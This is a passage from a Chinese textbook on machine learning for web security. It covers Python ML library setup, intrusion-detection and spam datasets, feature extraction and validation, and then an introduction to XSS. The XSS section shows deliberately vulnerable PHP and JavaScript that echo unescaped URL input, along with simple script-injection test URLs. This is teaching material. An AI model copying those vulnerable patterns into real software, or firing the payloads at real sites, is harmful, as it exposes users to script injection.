矩阵中更高级的一些运算可以在NumPy的线性代数子库linalg中找到。"},
    {"text": "下面是solve函数的一个例子： >>> a = np.random.rand(10,10) >>> b = np.random.rand(10) >>> x = np.linalg.solve(a,b) >>> np.sum(np.abs(np.dot(a,x) - b)) 3.1433189384699745e-15 solve函数有两个参数a和b。"},
    {"text": "a是一个N×N的二维数组，而b是一个长度为N的一维数组，solve函数找到一个长度为N的一维数组x，使得a和x的矩阵乘积正好等于b，数组x就是多元一次方程组的解。"},
    {"text": "2.1.2 SciPy SciPy是一款方便、易于使用、专为科学和工程设计的Python工具包，如图2-2所示。它包括统计、优化、整合、线性代数模块、傅里叶变换、信号和图像处理、常微分方程求解器等等。 图2-2 SciPy主页 安装方法： pip install --user numpy scipy matplotlib iPython jupyter pandas sympy nose 2.1.3 NLTK NLTK在NLP领域中是最常使用的一个Python库，包括图形演示和示例数据，其提供的教程解释了工具包支持的语言处理任务背后的基本概念。 安装程序如下： pip install -U nltk 加载数据如下： >>> import nltk >>> nltk.download() 用法示例如下。 分词与标识： >>> import nltk >>> sentence = \"\"\"At eight o'clock on Thursday morning ... Arthur didn't feel very good.\"\"\" >>> tokens = nltk.word_tokenize(sentence) >>> tokens ['At', 'eight', \"o'clock\", 'on', 'Thursday', 'morning', 'Arthur', 'did', \"n't\", 'feel', 'very', 'good', '.'] >>> tagged = nltk.pos_tag(tokens) >>> tagged[0:6] [('At', 'IN'), ('eight', 'CD'), (\"o'clock\", 'JJ'), ('on', 'IN'), ('Thursday', 'NNP'), ('morning', 'NN')] 标识名词实体： >>> entities = nltk.chunk.ne_chunk(tagged) >>> entities Tree('S', [('At', 'IN'), ('eight', 'CD'), (\"o'clock\", 'JJ'), ('on', 'IN'), ('Thursday', 'NNP'), ('morning', 'NN'), Tree('PERSON', [('Arthur', 'NNP')]), ('did', 'VBD'), (\"n't\", 'RB'), ('feel', 'VB'), ('very', 'RB'), ('good', 'JJ'), ('.', '.')]) 展现语法树（如图2-3）： >>> from nltk.corpus import treebank >>> t = treebank.parsed_sents('wsj_0001.mrg')[0] >>> t.draw() 图2-3 展现语法树 2.1.4 Scikit-Learn Scikit-Learn是基于Python的机器学习模块，基于BSD开源许可证。这个项目最早于2007年发起，目前也是由社区自愿者进行维护的。Scikit-Learn官方网站上可以找到相关的Scikit-Learn的资源、模块下载、文档、例程等等。Scikit-Learn的基本功能主要分为6个部分：分类，回归，聚类，数据降维，模型选择，数据预处理。具体可以参考官方网站上的文档，见图2-4。 依赖的环境： ·Python（>=2.6 or >=3.3） ·NumPy（>=1.6.1） ·SciPy（>=0.9） 图2-4 Scikit-Learn主页 安装方法： pip install -U scikit-learn 2.2 TensorFlow简介与环境搭建 TensorFlow是一个采用数据流图、用于数值计算的开源软件库（见图2-5）。节点在图中表示数学操作，图中的线则表示在节点间相互联系的多维数据数组，即张量。它灵活的架构使你可以在多种平台上展开计算，例如台式计算机中的一个或多个CPU（或GPU）、服务器、移动设备等等。TensorFlow最初由Google大脑小组（隶属于Google机器智能研究机构）的研究员和工程师们开发出来，用于机器学习和深度神经网络方面的研究，但这个系统的通用性使其也可广泛用于其他计算领域。 图2-5 TensorFlow中文社区主页 TensorFlow的特点： ·高度的灵活性； ·真正的可移植性； ·将科研和产品联系在一起； ·自动求微分； ·多语言支持； ·性能最优化。 安装方法如下： # 仅使用 CPU 的版本 $ pip install https: //storage.googleapis.com/tensorflow/linux/cpu/tensorflow-0.5.0-cp27-none-linux_x86_64.whl # 开启 GPU 支持的版本 (安装该版本的前提是已经安装了 CUDA sdk) $ pip install https: //storage.googleapis.com/tensorflow/linux/gpu/tensorflow-0.5.0-cp27-none-linux_x86_64.whl 我们推荐使用virtualenv创建一个隔离的容器来安装TensorFlow，这样做能使排查安装问题变得更容易。 首先，安装所有必备工具： # 在 Linux 上: $ sudo apt-get install python-pip python-dev python-virtualenv # 在 Mac 上: $ sudo easy_install pip # 如果还没有安装 pip $ sudo pip install --upgrade virtualenv 接下来，建立一个全新的virtualenv环境。为了将环境建在~/tensorflow目录下，执行： $ virtualenv --system-site-packages ~/tensorflow $ cd ~/tensorflow 然后，激活virtualenv： $ source bin/activate # 如果使用 bash $ source bin/activate.csh # 如果使用 csh (tensorflow)$ # 终端提示符应该发生变化 在virtualenv内，安装TensorFlow： (tensorflow)$ pip install –U TensorFlow 当使用完TensorFlow： (tensorflow)$ deactivate # 停用 virtualenv 2.3 本章小结 本章介绍了常见的机器学习工具，并给出了基本的安装过程。几乎再难以找到一门语言可以像Python这样受欢迎，机器学习领域尤其如此。现在我们已经打造出了自己的机器学习工具箱，让我们开启机器学习之旅吧！ 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://www.numpy.org/ · https://www.scipy.org/ · http://www.nltk.org/ · http://scikit-learn.org/stable/modules/decomposition.html · http://www.tensorfly.cn/ · http://blog.csdn.net/pianoorrock/article/details/70174810"},
    {"text": "第3章 机器学习概述 机器学习的概念非常多，从有监督到无监督，从聚类到回归，从浅层学习到深度学习，从准确率到召回率，它们究竟是什么意思呢？本章将介绍最主要的几个概念。不少机器学习初学者甚至包括业内老司机，一直被困扰的就是如何找到合适的训练数据和测试数据，针对数据的处理也花费了大量人力物力，究竟如何把身边各种形态的实物最终转换成机器可以理解的数字特征呢？本章将介绍数据集的获取与特征提取方案。本章介绍的数据集包括KDD 99、SEA、ADFA-LD等共10类，重点介绍如何针对数字型和文本型的数据进行特征提取以及常见的数据读取方式，最后介绍如何对机器学习的结果进行验证。 3.1 机器学习基本概念 1.有监督学习： 对具有概念标记（分类）的训练样本进行学习，以便尽可能对训练样本集外的数据进行标记（分类）预测。这里，所有的标记（分类）是已知的。因此，训练样本的歧义性低。 2.无监督学习： 对没有概念标记（分类）的训练样本进行学习，以便发现训练样本集中的结构性知识。这里，所有的标记（分类）是未知的。因此，训练样本的歧义性高。聚类就是典型的无监督学习。 3.准确率与召回率： 信息检索、分类、识别、翻译等领域中有两个最基本指标： 召回率 （Recall Rate）和 准确率 （Precision Rate），召回率也叫查全率，准确率也叫查准率。 对一个二分问题来说，会出现四种情况。如果一个实例是实际为真并且也被预测成真，即为真正类（True positive，TP），如果实际为假被预测成真，称之为假正类（False positive，FP）。相应地，如果实际为假被预测成假，称之为真负类（True negative，TN），实际为真被预测成假则为假负类（false negative，FN）。 召回率和准确率的关系如表3-1所示。 表3-1 召回率与准确率的关系 召回率=TP/（TP+FN） 准确率=TP/（TP+FP） 用一个吃货都可以理解的例子来解释这两个枯燥的概念：一个池塘有10条鱼和20只小龙虾，渔夫撒网打鱼，结果捞上来8条鱼12只小龙虾，那么准确率为8/（8+12）=40%，召回率为8/10=80%。 3.2 数据集 数据集合和算法就像黄油和面包一样缺一不可，很多时候数据比算法还要重要。本书的例子涉及的数据主要来自多年搜集的开源数据集合以及部分脱敏的测试数据。"},
    {"text": "3.2.1 KDD 99数据 KDD是知识发现与数据挖掘（Knowledge Discovery and Data Mining）的简称，KDD CUP是由ACM组织的年度竞赛如图3-1所示。KDD 99数据集就是KDD竞赛在1999年举行时采用的数据集。 图3-1 KDD大赛 1998年美国国防部高级研究计划局（DARPA）在MIT林肯实验室进行了一个入侵检测评估项目。林肯实验室建立了模拟美国空军局域网的一个网络环境，收集了9周的网络连接和系统审计数据，仿真各种用户类型、各种不同的网络流量和攻击手段，使它就像一个真实的网络环境。一个网络连接定义为：在某个时间内从开始到结束的TCP数据包序列，并且在这段时间内，数据在预定义的协议下从源IP地址到目的IP地址的传递。每个网络连接被标记为正常（normal）或异常（attack），异常类型被细分为4大类共39种攻击类型，其中22种攻击类型出现在训练集中，另有17种未知攻击类型出现在测试集中，见表3-2。 表3-2 KDD 99攻击类型详情 随后来自哥伦比亚大学的Sal Stolfo教授和来自北卡罗莱纳州立大学的Wenke Lee教授采用数据挖掘等技术对以上数据集进行特征分析和数据预处理，形成了一个新的数据集。该数据集用于1999年举行的KDD竞赛中，成为著名的KDD 99数据集。虽然年代有些久远，但KDD99数据集仍然是网络入侵检测领域的权威测试集，为基于计算智能的网络入侵检测研究奠定基础。 KDD99数据集中每个连接用41个特征来描述： 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,normal. 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,normal. 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,normal. 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,snmpgetattack. 上面是数据集中的3条记录，以CSV格式写成，加上最后的标记（label），一共有42项，其中前41项特征分为4大类。 ·TCP连接基本特征（见表3-3），基本连接特征包含了一些连接的基本属性，如连续时间、协议类型、传送的字节数等。 ·TCP连接的内容特征，见表3-4。 ·基于时间的网络流量统计特征，见表3-5。 ·基于主机的网络流量统计特征，见表3-6。 表3-3 KDD 99 TCP连接基本特征 表3-4 KDD 99 TCP连接的内容的特征 表3-5 KDD 99基于时间的网络流量统计特征 表3-6 KDD 99基于主机的网络流量统计特征 3.2.2 HTTP DATASET CSIC 2010 HTTP DATASET CSIC 2010包含大量标注过的针对Web服务的36000个正常请求以及25000个攻击请求，攻击类型包括sql注入、缓冲区溢出、信息泄露、文件包含、xss等，被广泛用于WAF类产品的功能评测。 正常请求格式如图3-2所示。 图3-2 CSIC 2010正常请求示例 攻击请求格式如图3-3所示。 3.2.3 SEA数据集 2001年Schonlau等人第一次将内部攻击者分类为“叛徒”（Traitor）与“伪装者”（Masquerader），其中“叛徒”指攻击者来源于组织内部，本身是内部合法用户；而“伪装者”指外部攻击者窃取了内部合法用户的身份凭证，从而利用内部用户身份实施内部攻击。随后该团队构造了一个公开的检测伪装者攻击的数据集SEA，该数据集被广泛用于内部伪装者威胁检测研究。 SEA数据集涵盖70多个UNIX系统用户的行为日志，这些数据来自于UNIX系统acct机制记录的用户使用的命令。SEA数据集中每个用户都采集了15000条命令，从用户集合中随机抽取50个用户作为正常用户，剩余用户的命令块中随机插入模拟命令作为内部伪装者攻击数据。SEA数据集中的用户日志类似于下面的命令序列： {cpp， sh，cpp， sh， xrdb， mkpts...} 图3-3 CSIC 2010攻击请求示例 每个用户的数据按照每100个命令为一块，分为150个块，前三分之一数据块用作训练该用户正常行为模型，剩余三分之二数据块随机插入了测试用的恶意数据。SEA数据集中恶意数据的分布具有统计规律，任意给定一个测试集命令块，其中含有恶意指令的概率为1%；而当一个命令块中含有恶意指令，则后续命令块也含有恶意指令的概率达到80%。可以看出SEA中的数据集将连续数据块看作一个会话，只能模拟连续会话关联的攻击行为；此外由于缺乏用户详细个人信息（职位、权限等）、数据维度单一（仅有命令信息）以及构造性（恶意数据由人工模拟）等因素，数据集在内部威胁检测研究中作用有限。 Schonlau在他的个人网站 http://www.schonlau.net/ 上发布了SEA数据集，见图3-4。"},
    {"text": "3.2.4 ADFA-LD数据集 ADFA-LD数据集是澳大利亚国防学院对外发布的一套主机级入侵检测系统的数据集合，被广泛应用于入侵检测类产品的测试。该数据集包括Linux和Windows，记录了系统调用数据，Gideon Creech是这个项目的负责人，项目主页为： https://www.unsw.adfa.edu.au ，见图3-5。 图3-4 Schonlau个人网站 图3-5 ADFA主页 ADFA-LD数据集已经将各类系统调用完成了特征化，并针对攻击类型进行了标注，各种攻击类型列举见表3-7。 表3-7 ADFA-LD攻击类型 ADFA-LD数据集的每个数据文件都独立记录了一段时间内的系统调用顺序，每个系统调用都用数字编号，对应的编号举例如下： #define __NR_io_setup 0 __SYSCALL(__NR_io_setup, sys_io_setup) #define __NR_io_destroy 1 __SYSCALL(__NR_io_destroy, sys_io_destroy) #define __NR_io_submit 2 __SYSCALL(__NR_io_submit, sys_io_submit) #define __NR_io_cancel 3 __SYSCALL(__NR_io_cancel, sys_io_cancel) #define __NR_io_getevents 4 __SYSCALL(__NR_io_getevents, sys_io_getevents) #define __NR_setxattr 5 __SYSCALL(__NR_setxattr, sys_setxattr) #define __NR_lsetxattr 6 __SYSCALL(__NR_lsetxattr, sys_lsetxattr) 3.2.5 Alexa域名数据 Alexa是一家专门发布网站世界排名的网站。以搜索引擎起家的Alexa创建于1996年4月（美国），目的是让互联网网友在分享虚拟世界资源的同时，更多地参与互联网资源的组织。Alexa每天在网上搜集超过1000GB的信息，不仅给出多达几十亿的网址链接，而且为其中的每一个网站进行了排名。可以说，Alexa是当前拥有URL数量最庞大、排名信息发布最详尽的网站。Alexa排名是常被引用的用来评价某一网站访问量的指标之一。事实上，Alexa排名是根据用户下载并安装了Alexa Tools Bar嵌入到IE、FireFox等浏览器，从而监控其访问的网站数据进行统计的，因此，其排名数据并不具有绝对的权威性。但其提供了包括综合排名、到访量排名、页面访问量排名等多个评价指标信息，且尚没有而且也很难有更科学、合理的评价参考。Alexa对外提供了全球排名TOP一百万的网站域名的下载，文件是CSV格式，以排名、域名组成，如图3-6所示。 图3-6 Alexa排名数据 3.2.6 Scikit-Learn数据集 Scikit-Learn自带的数据集合也十分经典，其中最常见的是iris数据集。 iris中文指鸢尾植物，这里存储了其萼片和花瓣的长宽，一共4个属性，鸢尾植物又分3类。与之相对，iris里有2个属性：iris.data和iris.target。data里是一个矩阵，每一列代表了萼片或花瓣的长宽，一共4列，一共采样了150条记录。target是一个数组，存储了data中每条记录属于哪一类鸢尾植物，所以数组的长度是150，数组元素的值因为共有3类鸢尾植物，所以不同值只有3个。 3.2.7 MNIST数据集 MNIST是一个入门级的计算机视觉数据集，它包含各种手写数字图片，如图3-7所示。 图3-7 MNIST图片示例 MNIST也包含每一张图片对应的标签，告诉我们这是数字几。比如，图3-7中4张图片的标签分别是5，0，4，1。数据集包括60000个训练数据和10000个测试数据。每一个MNIST数据单元由两部分组成：一张包含手写数字的图片和一个对应的标签。每一张图片包含28×28个像素点，可以把这个数组展开成一个向量，长度是28×28=784。MNIST数据集详解见表3-8。 表3-8 MNIST数据集合详解 MNIST的网址为 http://yann.lecun.com/exdb/mnist/ ，如图3-8所示。 图3-8 MNIST官网 也可以使用离线版的MNIST文件，下载链接为： http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz 文件读取方式为： import pickle import gzip def load_data(): with gzip.open('./mnist.pkl.gz') as fp: training_data, valid_data, test_data = pickle.load(fp) return training_data, valid_data, test_data 3.2.8 Movie Review Data Movie Review Data数据集包含1000条正面的评论和1000条负面评论，被广泛应用于文本分类，尤其是恶意评论识别方面。本书使用其最新的版本，polarity dataset v2.0。其官网如图3-9所示。 图3-9 Movie Review Data官网 Movie Review Data数据集记录的都是原始评论数据，全部为英文，文本内容举例如下： films adapted from comic books have had plenty of success , whether they're about superheroes ( batman , superman , spawn ) , or geared toward kids ( casper ) or the arthouse crowd ( ghost world ) , but there's never really been a comic book like from hell before . for starters , it was created by alan moore ( and eddie campbell ) , who brought the medium to a whole new level in the mid '80s with a 12-part series called the watchmen . the film , however , is all good . 2 : 00 - r for strong violence/gore , sexuality , language and drug content 文件包含在neg和pos两个文件夹下面，见图3-10，分别代表正面和负面评价。 图3-10 Movie Review Dat文件夹结构 Movie Review Data对应网址为： http://www.cs.cornell.edu/People/pabo/movie-review-data/ 。"},
    {"text": "3.2.9 SpamBase数据集 SpamBase是入门级的垃圾邮件分类训练集，其主页如图3-11所示。 图3-11 SpamBase主页 SpamBase的数据不是原始的邮件内容而是已经特征化的数据，对应的特征是统计的关键字以及特殊符号的词频，一共58个属性，其中最后一个是垃圾邮件的标记位。 特征属性举例如图3-12所示。 图3-12 SpamBase数据特征举例 数据来源为4601封邮件，其中1813封为垃圾邮件，数据内容举例如下： 0,0.64,0.64,0,0.32,0,0,0,0,0,0,0.64,0,0,0,0.32,0,1.29,1.93,0,0.96,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.778,0,0,3.756,61,278,1 0.21,0.28,0.5,0,0.14,0.28,0.21,0.07,0,0.94,0.21,0.79,0.65,0.21,0.14,0.14,0.07,0.28,3.47,0,1.59,0,0.43,0.43,0,0,0,0,0,0,0,0,0,0,0,0,0.07,0,0,0,0,0,0,0,0,0,0,0,0,0.132,0,0.372,0.18,0.048,5.114,101,1028,1 SpamBase对应网址为： http://archive.ics.uci.edu/ml/datasets/Spambase 。 3.2.10 Enron数据集 Enron（安然公司）在2001年宣告破产之前，拥有约21000名雇员，曾是世界上最大的电力、天然气以及电讯公司之一，2000年披露的营业额达1010亿美元之巨。公司连续六年被财富杂志评选为“美国最具创新精神公司”，然而真正使Enron公司在全世界声名大噪的，却是这个拥有上千亿资产的公司2002年在几周内破产，以及持续多年精心策划、乃至制度化系统化的财务造假丑闻。Enron欧洲分公司于2001年11月30日申请破产，美国本部于2日后同样申请破产保护。但在其破产前的资产规模为498亿美元，并有312亿的沉重债务。过度膨胀的快速发展使其无法应对经济环境的逆转，从而导致无法经营运作状况的恶化，最终以破产结束企业。机器学习领域使用Enron公司的归档邮件来研究文档分类、词性标注、垃圾邮件识别等，由于Enron的邮件都是真实环境下的真实邮件，非常具有实际意义。本书使用的Enron数据集是经过人工标注过的正常邮件和垃圾邮件（见图3-13），属于狭义的Enron数据集合，广义的Enron数据集指全量真实且未被标记的Enron公司归档邮件。 Enron数据集合使用不同文件夹区分正常邮件和垃圾邮件，如图3-14所示。 正常邮件内容举例如下： Subject: christmas baskets the christmas baskets have been ordered . we have ordered several baskets . individual earth - sat freeze - notis smith barney group baskets rodney keys matt rodgers charlie notis jon davis move team phillip randle chris hyde harvey freese faclities 图3-13 Enron数据集主页 图3-14 Enron数据集文件夹结构 垃圾邮件内容举例如下： Subject: fw : this is the solution i mentioned lsc oo thank you , your email address was obtained from a purchased list , reference # 2020 mid = 3300 . if you wish to unsubscribe from this list , please click here and enter your name into the remove box . if you have previously unsubscribed and are still receiving this message , you may email our abuse control center , or call 1 - 888 - 763 - 2497 , or write us at : nospam , 6484 coral way , miami , fl , 33155 \" . 2002 web credit inc . all rights reserved . Enron数据集对应的网址为： http://www2.aueb.gr/users/ion/data/enron-spam/ 。 3.3 特征提取 机器学习中，特征提取被认为是个体力活，有人形象地称为“特征工程”，可见其工作量之大。特征提取中数字型和文本型特征的提取最为常见。 3.3.1 数字型特征提取 数字型特征可以直接作为特征，但是对于一个多维的特征，某一个特征的取值范围特别大，很可能导致其他特征对结果的影响被忽略，这时候我们需要对数字型特征进行预处理，常见的预处理方式有以下几种。 1.标准化： >>> from sklearn import preprocessing >>> import numpy as np >>> X = np.array([[ 1., -1., 2.], ... [ 2., 0., 0.], ... [ 0., 1., -1.]]) >>> X_scaled = preprocessing.scale(X) >>> X_scaled array([[ 0. ..., -1.22..., 1.33...], [ 1.22..., 0. ..., -0.26...], [-1.22..., 1.22..., -1.06...]]) 2.正则化： >>> X = [[ 1., -1., 2.], ... [ 2., 0., 0.], ... [ 0., 1., -1.]] >>> X_normalized = preprocessing.normalize(X, norm='l2') >>> X_normalized array([[ 0.40..., -0.40..., 0.81...], [ 1. ..., 0. ..., 0. ...], [ 0. ..., 0.70..., -0.70...]]) 3.归一化： >>> X_train = np.array([[ 1., -1., 2.], ... [ 2., 0., 0.], ... [ 0., 1., -1.]]) ... >>> min_max_scaler = preprocessing.MinMaxScaler() >>> X_train_minmax = min_max_scaler.fit_transform(X_train) >>> X_train_minmax array([[ 0.5 , 0. , 1. ], [ 1. , 0.5 , 0.33333333], [ 0. , 1. , 0. ]])"},
    {"text": "3.3.2 文本型特征提取 文本型数据提取特征相对数字型要复杂很多，本质上是做单词切分，不同的单词当作一个新的特征，以hash结构为例： >>> measurements = [ ... {'city': 'Dubai', 'temperature': 33.}, ... {'city': 'London', 'temperature': 12.}, ... {'city': 'San Fransisco', 'temperature': 18.}, ... ] 键值city具有多个取值，“Dubai”、“London”和“San Fransisco”，直接把每个取值作为新的特征即可。键值temperature是数值型，可以直接作为特征使用。 >>> from sklearn.feature_extraction import DictVectorizer >>> vec = DictVectorizer() >>> vec.fit_transform(measurements).toarray() array([[ 1., 0., 0., 33.], [ 0., 1., 0., 12.], [ 0., 0., 1., 18.]]) >>> vec.get_feature_names() ['city=Dubai', 'city=London', 'city=San Fransisco', 'temperature'] 文本特征提取有两个非常重要的模型。 ·词集模型：单词构成的集合，集合中每个元素都只有一个，即词集中的每个单词都只有一个。 ·词袋模型：如果一个单词在文档中出现不止一次，并统计其出现的次数（频数）。 两者本质上的区别，词袋是在词集的基础上增加了频率的维度：词集只关注有和没有，词袋还要关注有几个。 假设我们要对一篇文章进行特征化，最常见的方式就是词袋。 导入相关的函数库： >>> from sklearn.feature_extraction.text import CountVectorizer 实例化分词对象： >>> vectorizer = CountVectorizer(min_df=1) >>> vectorizer CountVectorizer(analyzer=...'word', binary=False, decode_error=...'strict', dtype=<... 'numpy.int64'>, encoding=...'utf-8', input=...'content', lowercase=True, max_df=1.0, max_features=None, min_df=1, ngram_range=(1, 1), preprocessor=None, stop_words=None, strip_accents=None, token_pattern=...'(?u)\\\\b\\\\w\\\\w+\\\\b', tokenizer=None, vocabulary=None) 将文本进行词袋处理： >>> corpus = [ ... 'This is the first document.', ... 'This is the second second document.', ... 'And the third one.', ... 'Is this the first document?', ... ] >>> X = vectorizer.fit_transform(corpus) >>> X <4x9 sparse matrix of type '<... 'numpy.int64'>' with 19 stored elements in Compressed Sparse ... format> 获取对应的特征名称： >>> vectorizer.get_feature_names() == ( ... ['and', 'document', 'first', 'is', 'one', ... 'second', 'the', 'third', 'this']) True 获取词袋数据，至此我们已经完成了词袋化。但是对于程序中的其他文本，如何使用现有的词袋的特征进行向量化呢？ >>> X.toarray() array([[0, 1, 1, 1, 0, 0, 1, 0, 1], [0, 1, 0, 1, 0, 2, 1, 0, 1], [1, 0, 0, 0, 1, 0, 1, 1, 0], [0, 1, 1, 1, 0, 0, 1, 0, 1]]...) 我们定义词袋的特征空间叫做词汇表vocabulary： vocabulary=vectorizer.vocabulary_ 针对其他文本进行词袋处理时，可以直接使用现有的词汇表： >>> new_vectorizer = CountVectorizer(min_df=1, vocabulary=vocabulary) TensorFlow中有类似实现： from sklearn.feature_extraction.text import CountVectorizer MAX_DOCUMENT_LENGTH = 100 vocab_processor = learn.preprocessing.VocabularyProcessor(MAX_DOCUMENT_LENGTH) x_train = np.array(list(vocab_processor.fit_transform(x_train))) x_test = np.array(list(vocab_processor.transform(x_test))) 3.3.3 数据读取 平时处理数据时，CSV是最常见的格式，文件的每行记录一个向量，其中最后一列为标记。TensorFlow提供了非常便捷的方式从CSV文件中读取数据集。 加载对应的函数库： import tensorflow as tf import numpy as np 从CSV文件中读取数据： training_set = tf.contrib.learn.datasets.base.load_csv_with_header( filename=\" iris_training.csv\", target_dtype=np.int, features_dtype=np.float32) feature_columns = [tf.contrib.layers.real_valued_column(\"\", dimension=4)] 其中各个参数定义为： ·filename，文件名； ·target_dtype，标记数据类型； ·features_dtype，特征数据类型。 访问数据集合的特征以及标记的方式为： x=training_set.data y=training_set.target"},
    {"text": "3.4 效果验证 效果验证是机器学习非常重要的一个环节，最常使用的是交叉验证。常见的验证过程如图3-15所示。以SVM为例，导入SVM库以及Scikit-Learn自带的样本库datasets： >>> import numpy as np >>> from sklearn.model_selection import train_test_split >>> from sklearn import datasets >>> from sklearn import svm 获取样本数据： >>> iris = datasets.load_iris() >>> iris.data.shape, iris.target.shape ((150, 4), (150,)) 为了保证效果，使用函数train_test_spli随机分割样本为训练样本和测试样本： >>> X_train, X_test, y_train, y_test = train_test_split( ... iris.data, iris.target, test_size=0.4, random_state=0) >>> X_train.shape, y_train.shape ((90, 4), (90,)) >>> X_test.shape, y_test.shape ((60, 4), (60,)) 调用SVM进行训练： >>> clf = svm.SVC(kernel='linear', C=1).fit(X_train, y_train) 判断预测结果与测试样本标记的结果，得到准确率： >>> clf.score(X_test, y_test) 0.96... 图3-15 常见验证过程 为了提高验证的准确度，比较常见的方法是使用K折交叉验证。所谓K折交叉验证，就是初始采样分割成K个子样本，一个单独的子样本被保留作为验证模型的数据，其他K-1个样本用来训练。交叉验证重复K次，每个子样本验证一次，平均K次的结果或者使用其他结合方式，最终得到一个单一估测。三折交叉验证原理图见图3-16。这个方法的优势在于，同时重复运用随机产生的子样本进行训练和验证，每次的结果验证一次，十折交叉验证是最常用的。还是上面的例子，十折交叉验证实现如下： >>> from sklearn.model_selection import cross_val_score >>> clf = svm.SVC(kernel='linear', C=1) >>> scores = cross_val_score(clf, iris.data, iris.target, cv=5) >>> scores array([ 0.96..., 1. ..., 0.96..., 0.96..., 1. ]) 图3-16 三折交叉验证原理图 3.5 本章小结 本章在一定程度上科普了机器学习的常见概念，并介绍了后面章节将频繁使用的一些知名数据集，我们在后面章节将频繁和这些数据打交道。本章并没有详细讲解各种概念的定义，如果对机器学习的基本概念还是很模糊，也没有关系，通过后面章节的学习，我们会不断加深对这些概念的理解。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html · http://blog.csdn.net/com_stu_zhang/article/details/6987632 · http://www.isi.csic.es/dataset/ · http://www.schonlau.net · http://www.fx361.com/page/2016/1018/284843.shtml · http://www.freebuf.com/articles/system/97703.html · http://yann.lecun.com/exdb/mnist/ · http://www.cs.cornell.edu/People/pabo/movie-review-data/ · http://archive.ics.uci.edu/ml/datasets/Spambase · http://www2.aueb.gr/users/ion/data/enron-spam/ 还有一些参考文献值得一读： [1] R Lippmann，J W Haines，D J Fried，J Korba，K Das.Analysis and Results of the The 1999 DARPA Off-Line Intrusion Detection Evaluation.International Symposium on Recent Advances in Intrusion Detection，2000，34（4）：162-182. [2] J McHugh.Testing Intrusion Detection Systems：A Critique of the 1998 and 1999 DARPA Intrusion Detection System Evaluations as Performed by Lincoln Laboratory.ACM Transactions on Information&System Security，2000，3（4）：262-294. [3] Schonlau M，Couper M.Semi-Automated Categorization of Open-Ended Questions.Survey Research Methods，August 2016. [4] 张有新，曾华燊，贾磊.入侵检测数据集KDD CUP99研究[J].计算机工程与设计，2010，22. 第4章 Web安全基础 本章将梳理一下常见的Web安全问题，为后续的机器学习应用打好基础。包括：XSS攻击的概念、危害、分类、常见的攻击方式、攻击载荷以及特殊的攻击变种和XSS平台等，SQL注入攻击的常见自动化攻击工具以及近年典型的几起SQL注入攻击事件，WebShell的危害、功能以及常见类型，僵尸网络的概念、形成、危害以及近几年典型的僵尸网络攻击事件。强烈建议读者借此机会重温相关基础知识。"},
    {"text": "4.1 XSS攻击概述 XSS（Cross Site Scripting，跨站脚本攻击），为不和CSS（Cascading Style Sheets，层叠样式表）的缩写混淆，故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在Web应用中的计算机安全漏洞，它允许恶意Web用户将代码植入到提供给其他用户使用的页面中。比如，这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制，例如同源策略。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击”，而JavaScript是新型的“ShellCode”。 据360发布的《2016年中国网站安全漏洞形势分析报告》披露（见图4-1），XSS高居国内Web漏洞前三。 根据乌云统计的2016年的安全漏洞（见图4-2），XSS攻击十分活跃。 图4-1 2016年中国网站安全漏洞形势分析报告 图4-2 2016年乌云漏洞平台XSS攻击举例 XSS的危害： ·盗取各类用户账号，如机器登录账号、用户网银账号、各类管理员账号； ·控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力； ·盗窃企业重要的具有商业价值的资料； ·非法转账； ·强制发送电子邮件； ·网站挂马； ·控制受害者机器向其他网站发起攻击。"},
    {"text": "假设后端代码为： <?php $username = $_GET['username']; echo $username; ?> XSS攻击对应链接为： http://xi.baidu.com?username=<script>alert(/xss/)</script> 2.存储型XSS 存储型XSS又称为持久型XSS，存储型XSS是最危险的一种跨站脚本。"},
    {"text": "简单理解DOM XSS就是出现在JavaScript代码中的XSS漏洞。 假设存在DOM XSS漏洞的前端代码如下： <script> var temp = document.URL; var index = document.URL.indexOf(\"content=\")+4; var par = temp.substring(index); document.write(decodeURI(par)); </script> 如果输入如下链接就会产生XSS漏洞： http://xi.baidu.com?content=<script>alert(/xss/)</script> 这种利用也需要受害者点击链接来触发，DOM型XSS是前端代码中存在了漏洞，而反射型XSS是后端代码中存在了漏洞。 反射型和存储型XSS是服务器端代码漏洞造成的，Payload在响应页面中，在DOM型XSS中，Payload不在服务器发出的HTTP响应页面中，当客户端脚本运行时（渲染页面时），Payload才会加载到脚本中执行。"},
